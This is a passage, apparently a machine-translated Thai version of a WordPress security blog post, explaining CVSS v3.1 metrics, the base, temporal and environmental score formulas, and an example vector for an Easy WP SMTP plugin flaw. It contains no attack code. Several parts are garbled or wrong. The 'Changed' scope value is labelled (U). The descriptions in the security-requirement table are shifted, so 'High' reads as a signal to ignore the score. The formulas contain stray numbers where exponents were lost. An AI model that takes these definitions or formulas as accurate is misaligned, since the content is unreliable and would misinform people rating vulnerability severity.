    สูง (H) ผู้โจมตีได้รับอนุญาตด้วย (เช่น ต้องการ) สิทธิ์ที่ให้การควบคุมที่สำคัญ (เช่น การดูแลระบบ) เหนือองค์ประกอบที่มีช่องโหว่ ซึ่งอาจส่งผลต่อการตั้งค่าและไฟล์ทั่วทั้งองค์ประกอบ

    1.1.4. การโต้ตอบกับผู้ใช้ (UI)

    คะแนนการโต้ตอบของผู้ใช้จะพิจารณาจากช่องโหว่ที่ผู้ใช้โต้ตอบเพื่อแสวงหาประโยชน์หรือไม่

    คะแนนจะสูงสุดเมื่อผู้ใช้ไม่จำเป็นต้องโต้ตอบกับผู้โจมตีเพื่อใช้ประโยชน์จากช่องโหว่

    ข้อกำหนดในการโต้ตอบกับผู้ใช้ คำอธิบาย
    ไม่มี (N) ระบบที่มีช่องโหว่สามารถใช้ประโยชน์ได้โดยไม่ต้องมีการโต้ตอบจากผู้ใช้ใดๆ
    จำเป็น (R) การใช้ประโยชน์จากช่องโหว่นี้ให้ประสบผลสำเร็จกำหนดให้ผู้ใช้ต้องดำเนินการบางอย่างก่อนที่จะสามารถใช้ประโยชน์จากช่องโหว่นี้ได้ เช่น การโน้มน้าวให้ผู้ใช้คลิกลิงก์ในอีเมล

    1.1.5. ขอบเขต

    คะแนนขอบเขตขึ้นอยู่กับช่องโหว่ในองค์ประกอบซอฟต์แวร์หนึ่งที่จะส่งผลกระทบต่อทรัพยากรที่อยู่นอกเหนือขอบเขตความปลอดภัย

    ขอบเขตการรักษาความปลอดภัยครอบคลุมส่วนประกอบอื่นๆ ที่มีฟังก์ชันการทำงานเฉพาะกับส่วนประกอบนั้น แม้ว่าส่วนประกอบอื่นๆ เหล่านี้จะมีอำนาจด้านความปลอดภัยของตนเองก็ตาม

    คะแนนจะสูงสุดเมื่อมีการเปลี่ยนแปลงขอบเขต

    ขอบเขต คำอธิบาย
    ไม่เปลี่ยนแปลง (U) ช่องโหว่ที่ถูกเอารัดเอาเปรียบสามารถส่งผลกระทบต่อทรัพยากรที่จัดการโดยหน่วยงานเดียวกันเท่านั้น ในกรณีนี้ องค์ประกอบที่มีช่องโหว่และส่วนประกอบที่ได้รับผลกระทบจะเหมือนกัน
    เปลี่ยนแล้ว (U) ช่องโหว่ที่ถูกเอารัดเอาเปรียบสามารถส่งผลกระทบต่อทรัพยากรที่อยู่นอกเหนือสิทธิ์การอนุญาตที่กำหนดโดยองค์ประกอบที่มีช่องโหว่ ในกรณีนี้ องค์ประกอบที่มีช่องโหว่และส่วนประกอบที่ได้รับผลกระทบจะแตกต่างกัน

    1.2. ตัวชี้วัดผลกระทบ

    ตัววัดผลกระทบจะจับผลกระทบโดยตรงของช่องโหว่ที่ถูกเอารัดเอาเปรียบได้สำเร็จ

    1.2.1. ผลกระทบที่เป็นความลับ (C)

    คะแนนผลกระทบที่เป็นความลับนี้จะวัดผลกระทบต่อการรักษาความลับของข้อมูลที่จัดการโดยซอฟต์แวร์ที่ถูกโจมตี

    คะแนนจะสูงสุดเมื่อการสูญเสียซอฟต์แวร์ที่ได้รับผลกระทบสูงที่สุด

    ผลกระทบต่อการรักษาความลับ คำอธิบาย
    สูง (H) มีการสูญเสียความลับทั้งหมดส่งผลให้ทรัพยากรทั้งหมดภายในซอฟต์แวร์ที่ถูกโจมตีถูกเปิดเผยต่อผู้โจมตี
    ต่ำ (L) มีการสูญเสียความลับบางอย่าง ผู้โจมตีได้รับการเข้าถึงข้อมูลที่ถูกจำกัดบางอย่าง
    ไม่มี (N) ไม่มีการสูญเสียความลับภายในซอฟต์แวร์ที่ถูกโจมตี

    1.2.2. ความซื่อสัตย์ (I)

    คะแนนความสมบูรณ์นี้อิงจากผลกระทบต่อความสมบูรณ์ของช่องโหว่ที่ถูกเอารัดเอาเปรียบที่ประสบความสำเร็จ

    คะแนนจะสูงสุดเมื่อผลของซอฟต์แวร์ที่ได้รับผลกระทบมากที่สุด

    ผลกระทบด้านความซื่อสัตย์ คำอธิบาย
    สูง (H) มีการสูญเสียความสมบูรณ์สมบูรณ์หรือสูญเสียการป้องกันโดยสมบูรณ์
    ต่ำ (L) การแก้ไขข้อมูลไม่มีผลกระทบโดยตรงและร้ายแรงต่อซอฟต์แวร์ที่ได้รับผลกระทบ
    ไม่มี (N) ไม่มีการสูญเสียความสมบูรณ์ในซอฟต์แวร์ที่ได้รับผลกระทบ

    1.2.3. ความพร้อมใช้งาน (A)

    คะแนนความพร้อมใช้งานขึ้นอยู่กับผลกระทบของความพร้อมใช้งานของซอฟต์แวร์ที่ถูกโจมตี

    คะแนนจะสูงสุดเมื่อผลที่ตามมาขององค์ประกอบที่ได้รับผลกระทบมากที่สุด

    ผลกระทบต่อความพร้อมใช้งาน คำอธิบาย
    สูง (H) มีการสูญเสียความพร้อมใช้งานทั้งหมดส่งผลให้ผู้โจมตีปฏิเสธการเข้าถึงทรัพยากรในซอฟต์แวร์ที่ถูกโจมตีอย่างเต็มที่
    ต่ำ (L) ประสิทธิภาพการทำงานลดลงหรือหยุดชะงักในความพร้อมของทรัพยากร
    ไม่มี (N) ไม่มีผลกระทบต่อความพร้อมใช้งานภายในซอฟต์แวร์ที่ได้รับผลกระทบ

    คะแนนฐาน CVSS การคำนวณคะแนน

    คะแนนฐานเป็นฟังก์ชันของสมการคะแนนย่อยผลกระทบและการใช้ประโยชน์ โดยที่คะแนนฐานถูกกำหนดเป็น

     If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction

    2. ตัวชี้วัดคะแนนชั่วคราว

    ตัวชี้วัด Temporal จะวัดสถานะปัจจุบันของเทคนิคการหาช่องโหว่ การมีอยู่ของโปรแกรมแก้ไขหรือวิธีแก้ไขปัญหาชั่วคราว หรือความมั่นใจที่มีในคำอธิบายของช่องโหว่

    เมตริกชั่วคราวคาดว่าจะเปลี่ยนแปลงและจะเปลี่ยนแปลงเมื่อเวลาผ่านไป

    2.1. Exploit Code ครบกำหนด (E)

    การกำหนดอายุของรหัสช่องโหว่นั้นขึ้นอยู่กับโอกาสที่ช่องโหว่จะถูกโจมตี

    ยิ่งสามารถใช้ประโยชน์จากช่องโหว่ได้ง่ายขึ้น คะแนนความเสี่ยงก็จะยิ่งสูงขึ้น

    Exploit Code มูลค่าครบกำหนด คำอธิบาย
    ไม่ได้กำหนด (X) การกำหนดค่านี้ให้กับเมตริกจะไม่ส่งผลต่อคะแนน เป็นสัญญาณของสมการการให้คะแนนเพื่อข้ามเมตริกนี้
    สูง (H) มีโค้ดอัตโนมัติที่ทำงานอยู่ หรือไม่จำเป็นต้องหาช่องโหว่ใดๆ และมีรายละเอียดมากมาย
    ฟังก์ชั่น (F) มีโค้ดการหาประโยชน์จากการทำงาน รหัสใช้งานได้ในสถานการณ์ส่วนใหญ่ที่มีช่องโหว่อยู่
    การพิสูจน์แนวคิด (P) มีโค้ดการใช้ประโยชน์จากการพิสูจน์แนวคิด หรือการสาธิตการโจมตีใช้ไม่ได้กับระบบส่วนใหญ่
    ไม่ผ่านการพิสูจน์ (U) ไม่มีโค้ดการหาช่องโหว่ หรือการใช้ประโยชน์นั้นเป็นไปตามทฤษฎีทั้งหมด

    2.2. ระดับการแก้ไข (RL)

    ระดับการแก้ไขของช่องโหว่เป็นปัจจัยสำคัญสำหรับการจัดลำดับความสำคัญ วิธีแก้ปัญหาหรือโปรแกรมแก้ไขด่วนอาจเสนอวิธีแก้ไขชั่วคราวจนกว่าจะมีการออกโปรแกรมแก้ไขหรืออัปเกรดอย่างเป็นทางการ

    การแก้ไขที่เป็นทางการและถาวรน้อยกว่า คะแนนช่องโหว่ก็จะยิ่งสูงขึ้น

    ค่าระดับการแก้ไข คำอธิบาย
    ไม่ได้กำหนด (X) ค่าการแก้ไขที่ไม่ได้กำหนดหมายความว่ามีข้อมูลไม่เพียงพอที่จะเลือกค่าการแก้ไขอื่นใดค่าหนึ่ง ค่า Not Defined ไม่มีผลต่อคะแนนชั่วคราวโดยรวม และมีผลเช่นเดียวกันกับการให้คะแนนเป็น Unavailable
    ไม่พร้อมใช้งาน (U) ไม่มีวิธีแก้ปัญหา
    วิธีแก้ปัญหา (W) มีโซลูชันที่ไม่เป็นทางการและไม่ใช่ผู้จำหน่าย ตัวอย่างเช่น ผู้ใช้หรือบุคคลที่สามรายอื่นได้สร้างโปรแกรมแก้ไขหรือวิธีแก้ปัญหาชั่วคราวเพื่อลดช่องโหว่
    แก้ไขชั่วคราว (T) มีการแก้ไขอย่างเป็นทางการแต่ชั่วคราว ตัวอย่างเช่น ผู้พัฒนาซอฟต์แวร์ได้ออกโปรแกรมแก้ไขด่วนชั่วคราวหรือจัดเตรียมวิธีแก้ปัญหาชั่วคราวเพื่อลดช่องโหว่
    แก้ไขอย่างเป็นทางการ (O) ผู้พัฒนาซอฟต์แวร์ได้ออกแพทช์อย่างเป็นทางการสำหรับช่องโหว่นี้

    2.3. รายงานความมั่นใจ (RC)

    เมตริกรายงานความเชื่อมั่นจะวัดระดับความเชื่อมั่นว่ามีช่องโหว่และความน่าเชื่อถือของรายละเอียดทางเทคนิค

    ยิ่งมีการตรวจสอบช่องโหว่โดยผู้ขายหรือแหล่งที่เชื่อถือได้อื่น ๆ คะแนนก็จะยิ่งสูงขึ้น

    รายงานค่าความเชื่อมั่น คำอธิบาย
    ไม่ได้กำหนด (X) ค่าความเชื่อมั่นของรายงานที่ไม่ได้กำหนดหมายความว่ามีข้อมูลไม่เพียงพอที่จะกำหนดค่าความเชื่อมั่นอื่นใดค่าหนึ่ง ค่า Not Defined ไม่มีผลกระทบต่อคะแนนความเชื่อมั่นของรายงานโดยรวม และมีผลเช่นเดียวกันกับการให้คะแนนเป็น Unavailable
    ยืนยันแล้ว (C) มีรายงานโดยละเอียดพร้อมแนวคิดเกี่ยวกับวิธีการใช้ประโยชน์จากช่องโหว่ หรือผู้พัฒนาซอฟต์แวร์ได้ยืนยันการมีอยู่ของช่องโหว่
    สมเหตุสมผล (R) มีรายงานพร้อมรายละเอียดที่สำคัญ แต่นักวิจัยไม่มีความมั่นใจอย่างเต็มที่ในสาเหตุที่แท้จริง หรือไม่สามารถยืนยันทุกปฏิสัมพันธ์ที่อาจนำไปสู่การแสวงประโยชน์ได้อย่างเต็มที่ อย่างไรก็ตาม ข้อบกพร่องนี้สามารถทำซ้ำได้และมีหลักฐานยืนยันแนวคิดอย่างน้อยหนึ่งรายการ
    ไม่ทราบ (U) มีรายงานผลกระทบที่บ่งชี้ว่ามีช่องโหว่ แต่ไม่ทราบสาเหตุของช่องโหว่

    การคำนวณคะแนน CVSS ชั่วคราว

    คะแนนชั่วคราวถูกกำหนดเป็น

     Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)

    3. ตัวชี้วัดคะแนนสิ่งแวดล้อม

    ตัวชี้วัดด้านสิ่งแวดล้อมช่วยให้นักวิเคราะห์ปรับแต่งคะแนน CVSS ตามความสำคัญของสินทรัพย์ไอทีที่ได้รับผลกระทบ

    ตัวชี้วัดความสามารถในการใช้ประโยชน์ด้านสิ่งแวดล้อมและผลกระทบนั้นเทียบเท่ากับตัววัดฐานที่ได้รับการแก้ไขแล้ว และได้รับการกำหนดค่าตามการจัดวางองค์ประกอบของโครงสร้างพื้นฐานขององค์กร ดูส่วนเมตริกพื้นฐานด้านบนเพื่อดูค่าและคำอธิบายของเมตริกการใช้ประโยชน์และผลกระทบ

    ตัวชี้วัดด้านสิ่งแวดล้อมประกอบด้วยกลุ่มพิเศษ ตัวแก้ไขคะแนนย่อยของผลกระทบ

    3.1. ตัวแก้ไขคะแนนย่อยของผลกระทบ

    ตัวชี้วัด Impact Subscore Modifiers จะประเมินข้อกำหนดด้านความปลอดภัยเฉพาะสำหรับ Confidentiality (CR), Integrity (IR) และ Availability (AR) ซึ่งช่วยให้ปรับแต่งคะแนนด้านสิ่งแวดล้อมได้ตามสภาพแวดล้อมของผู้ใช้

    มูลค่าคะแนนย่อยของผลกระทบ คำอธิบาย
    ไม่ได้กำหนด (CR:X) การสูญเสีย (การรักษาความลับ/ความซื่อสัตย์/ความพร้อมใช้งาน) มีแนวโน้มที่จะส่งผลกระทบอย่างจำกัดต่อองค์กร
    ต่ำ (CR:L) การสูญเสีย (การรักษาความลับ/ความซื่อสัตย์/ความพร้อมใช้งาน) มีแนวโน้มที่จะส่งผลกระทบร้ายแรงต่อองค์กร
    ปานกลาง (CR:M) การสูญเสีย (การรักษาความลับ/ความซื่อสัตย์/ความพร้อมใช้งาน) มีแนวโน้มที่จะส่งผลกระทบร้ายแรงต่อองค์กร
    สูง (CR:H) นี่เป็นสัญญาณให้เพิกเฉยต่อคะแนนนี้

    การคำนวณคะแนน CVSS ด้านสิ่งแวดล้อม

    คะแนนสิ่งแวดล้อมถูกกำหนดเป็น

     If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

    คะแนน CVSS โดยรวมและความรุนแรง

    ระบบการให้คะแนนช่องโหว่ทั่วไปโดยรวมหรือคะแนน CVSS เป็นตัวแทนของคะแนนฐาน เวลา และสิ่งแวดล้อม

    คะแนน CVSS โดยรวมสามารถใช้เพื่อให้คุณทราบว่าช่องโหว่นั้นรุนแรงหรือร้ายแรงเพียงใด

    คะแนน CVSS ความรุนแรง
    0.0 ไม่มี
    0.1 – 3.9 ต่ำ
    4.0 – 6.9 ปานกลาง
    7.0 – 8.9 สูง
    9.0 – 10.0 วิกฤต

    ตัวอย่างการจัดอันดับความรุนแรง CVSS ของโลกแห่งความเป็นจริง

    ในบทสรุปของช่องโหว่ในเดือนธันวาคม 2020 เรารายงานเกี่ยวกับช่องโหว่ในปลั๊กอิน Easy WP SMTP ช่องโหว่ Zero-day (เราจะกล่าวถึงช่องโหว่ Zero-day ในส่วนถัดไป) ช่องโหว่ดังกล่าวอนุญาตให้ผู้โจมตีเข้าควบคุมบัญชีผู้ดูแลระบบและถูกโจมตีโดยไม่ได้ตั้งใจ

    เมื่อดูที่รายการ National Vulnerability Database เราจะสามารถค้นหาระดับความรุนแรงของช่องโหว่ WP SMTP

    มาดูรายละเอียดสองสามอย่างจากภาพหน้าจอ WP SMTP NVDB ด้านบนกัน

    คะแนนฐาน : คะแนน ฐานคือ 7.5 ซึ่งบอกเราว่าระดับความรุนแรงของช่องโหว่นั้นสูง

    เวกเตอร์ : เวกเตอร์บอกเราว่าคะแนนนั้นขึ้นอยู่กับสมการช่องโหว่ CVSS 3.1 และตัวชี้วัดที่ใช้ในการคำนวณคะแนน

    นี่คือส่วนเมตริกของเวกเตอร์

     AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

    ตอนนี้ ลองใช้ค่าเมตริกพื้นฐานและคำอธิบายจากช่วงต้นของโพสต์นี้เพื่อทำความเข้าใจค่าเมตริกทั้งแปดของเวกเตอร์

    1. AV:N – หมายความว่า Attack Vector (AV) ของช่องโหว่คือ Network (N) กล่าวอีกนัยหนึ่ง ผู้โจมตีต้องการการเข้าถึงเครือข่ายเพื่อใช้ประโยชน์จากช่องโหว่เท่านั้น
    2. AC:L – ความซับซ้อนของการโจมตี (AC) ของช่องโหว่อยู่ในระดับต่ำ (L) กล่าวอีกนัยหนึ่งตัวเล็กสคริปต์ใด ๆ สามารถใช้ประโยชน์จากช่องโหว่นี้ได้
    3. PR:N – สิทธิ์ที่จำเป็น (PR) ที่จำเป็นในการใช้ประโยชน์จากช่องโหว่คือไม่มี (N) ดังนั้น ช่องโหว่นี้จึงไม่ต้องการให้ผู้ใช้ที่ได้รับการรับรองความถูกต้องเพื่อใช้ประโยชน์ (เราจะกล่าวถึงความแตกต่างระหว่างช่องโหว่ที่ตรวจสอบสิทธิ์และไม่ได้ตรวจสอบสิทธิ์ในโพสต์นี้)
    4. UI:N – การโต้ตอบกับผู้ใช้ (UI) ที่จำเป็นในการใช้ประโยชน์จากช่องโหว่นี้คือไม่มี (N) ดังนั้น ผู้โจมตีจึงมีวิธีการที่จะใช้ประโยชน์จากจุดอ่อนนั้นด้วยตนเอง
    5. S:U – หมายความว่าขอบเขต (S) ของช่องโหว่นั้นไม่เปลี่ยนแปลง (U) ในกรณีของช่องโหว่นี้ องค์ประกอบที่มีช่องโหว่และส่วนประกอบที่ได้รับผลกระทบจะเหมือนกัน
    6. C:H – Confidentiality Impact (C) ของช่องโหว่อยู่ในระดับสูง (H) เมื่อมีการใช้ประโยชน์จากช่องโหว่นี้จะส่งผลให้สูญเสียความลับทั้งหมด
    7. I:N – Integrity Impact (I) ของช่องโหว่นี้คือไม่มี (N) เมื่อมีการใช้ประโยชน์จากช่องโหว่ จะไม่มีการสูญเสียความสมบูรณ์หรือความน่าเชื่อถือของข้อมูลที่มีช่องโหว่
    8. A:N – หมายความว่า Availability Impact (A) คือ None (N) เมื่อมีการใช้ประโยชน์จากช่องโหว่ จะไม่มีผลกระทบต่อความพร้อมใช้งานของเว็บไซต์ของคุณ

    คะแนน CVSS สามารถช่วยเราระบุความรุนแรงและขอบเขตของช่องโหว่ที่กำหนดได้ ในสองส่วนถัดไป เราจะกล่าวถึงคำศัพท์เกี่ยวกับช่องโหว่ที่สำคัญซึ่งมักรวมอยู่ในการเปิดเผยช่องโหว่

    ช่องโหว่ WordPress อธิบายการสัมมนาผ่านเว็บ

    ตรวจสอบการสัมมนาผ่านเว็บของเราในหัวข้อเดียวกัน

    สรุป: อธิบายช่องโหว่ของ WordPress

    แม้ว่าช่องโหว่ของ WordPress นั้นน่ากลัว แต่ข่าวดีก็คือช่องโหว่ของ WordPress ส่วนใหญ่จะถูกค้นพบและแก้ไขก่อนที่ผู้ร้ายจะมีโอกาสใช้ประโยชน์จากช่องโหว่เหล่านี้

    คุณสามารถช่วยปกป้องเว็บไซต์ของคุณจากช่องโหว่ต่างๆ ได้โดยการรักษา WordPress core และปลั๊กอินและธีมที่อัปเดตเป็นวิธีที่ดีที่สุดเพื่อให้แน่ใจว่าคุณได้รับแพตช์ความปลอดภัยล่าสุด